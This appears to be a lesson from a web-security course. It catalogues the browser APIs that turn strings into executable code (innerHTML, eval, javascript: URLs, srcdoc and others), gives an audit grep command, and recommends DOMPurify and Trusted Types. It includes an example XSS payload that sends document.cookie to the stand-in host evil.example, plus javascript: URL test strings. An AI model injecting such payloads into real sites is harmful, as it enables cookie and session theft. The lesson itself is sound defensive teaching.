Lesson 1 of 14 · 14m
The Sinks That Execute
innerHTML, document.write, eval, javascript: URLs, srcdoc, and setAttribute handlers — every API that turns a string into live code, and the grep list for auditing them.
How a string becomes code
When you write el.innerHTML = userInput, the browser does not store text. It runs the same HTML parser that built your page from the server's response over that string, and inserts the resulting nodes into the live document. The string stops being data the moment the parser sees it.
That is the entire mechanism of DOM XSS: a string the attacker controlled reached an API that parses. There is no sandbox between the parser and your page. If the input was <img src=x onerror="fetch('https://evil.example/c?c='+document.cookie)">, a real HTMLImageElement with a real error handler lands in your document, the load fails, and the handler executes with your origin's full privileges — cookies, localStorage, fetch as the user.
The sink list
The APIs that turn strings into code or live markup:
innerHTML,outerHTML,insertAdjacentHTML. Parse HTML and insert nodes. Here is the part juniors get wrong: a<script>tag inserted throughinnerHTMLdoes not execute — the HTML spec marks parser-inserted scripts as "already started" so they never run. People test<script>alert(1)</script>, watch nothing happen, and conclude the sink is safe. But every event-handler attribute fires:onerror,onload,onclick,<svg onload>,<input autofocus onfocus=...>,<details open ontoggle=...>. "There are no script tags" proves nothing.document.write()/document.writeln(). Parses straight into the document stream, and<script>does execute. Mostly dead in new code, alive in ad tags and legacy widgets.eval(),new Function(),setTimeout("code"),setInterval("code"). Direct string-to-JS. ThesetTimeoutvariants are the ones that survive code review because nobody remembers they take strings.- Creating
<script>and appending it.const s = document.createElement('script'); s.src = userUrl; document.head.append(s)fetches and runs remote code as your origin. Same risk forscript.text = userStringon a parser-created script that gets inserted. location,href, andaction.location.href = "javascript:alert(1)"executes. So does<a href="javascript:...">when clicked, and a<form action="javascript:...">on submit. HTML-escaping the URL does not help —javascript:contains no escapable characters. The defense is a scheme allowlist, not escaping.<iframe srcdoc>. Parses a whole document into the frame.Range.createContextualFragment(),DOMParser.parseFromString(). Parse without executing — but the result is DOM, and DOM is usually inserted one line later. jQuery's$.parseHTML/$(html)are worse: jQuery walks the parsed fragment and runs any<script>it finds throughglobalEval. Scripts inside$(userString)do execute, unlikeinnerHTML.- Attribute assignment.
el.setAttribute('onclick', userString)mints a live event handler — the string is compiled into a function the next time the element is clicked. No<script>tag anywhere. - Template hatches. Vue
v-html, ReactdangerouslySetInnerHTML, Handlebars{{{triple-brace}}}— covered in lesson 3.
Sources: the other half of the wire
A sink is harmless until a source reaches it. The sources are location.hash, location.search, document.referrer, postMessage events, localStorage, window.name, and anything your API returns that wasn't encoded for HTML. XSS is plumbing: a wire from a source to a sink.
The wrong mental model is "XSS means someone typed <script>alert(1)</script> into a search box." That is the demo version. The shipping version is el.innerHTML = profile.bio, or a router that reads location.search into a toast component. In every real audit the sink list above is what you grep for:
rg -n "innerHTML|outerHTML|insertAdjacentHTML|document\.write|eval\(|new Function|srcdoc|createContextualFragment|javascript:" src/What to actually do
For text, use textContent — it never parses. For markup, there is exactly one sane answer: sanitize with DOMPurify and put the result behind a Trusted Types policy so a plain string can never reach the sink again (lesson 6). If a function's argument ends up inside an HTML parse, that function is a trust boundary. Name it, wrap it, sanitize before it.
Was this lesson helpful?
Keep reading
Related articles from the SudoSecurity blog.
They Got Root on a Fully Patched Ivanti VPN and the Integrity Checker Said Everything Was Fine
Volexity caught an attacker chaining zero-days into unauthenticated root on an Ivanti Connect Secure appliance running the latest build. The payload never touched disk, commands rode in over the same HTTPS requests as the exploit, and Ivanti's Integrity Checker reported no modifications.
Gitea Shipped 21 CVEs in One Release and Eleven of Them Are the Same Bug
Gitea 28.3.0 landed November 1 with twenty-one CVE fixes. Read the list and a pattern jumps out: more than half are the same failure repeated across different route handlers, where a token scoped to public data gets handed private data anyway. That's not twenty-one mistakes.
php2shell: The PHP Bug That Fires Before Your Code Runs
Two critical PHP flaws landed October 21 and were in CISA's exploited-vulnerabilities catalog five days later. The 9.2 score isn't the part that should bother you. It's where the bug lives — it goes off while PHP is still assembling $_POST, before a single line of your application has run.
A Certificate Authority's Private Keys Were the Numbers 4, 56 and 66
Eight eMudhra intermediate CA keys turned out to be recoverable from their own public certificates. Not stolen — computable, because the key generation produced almost no entropy. A researcher pulled all eight in under a second and signed a message with each one to prove it.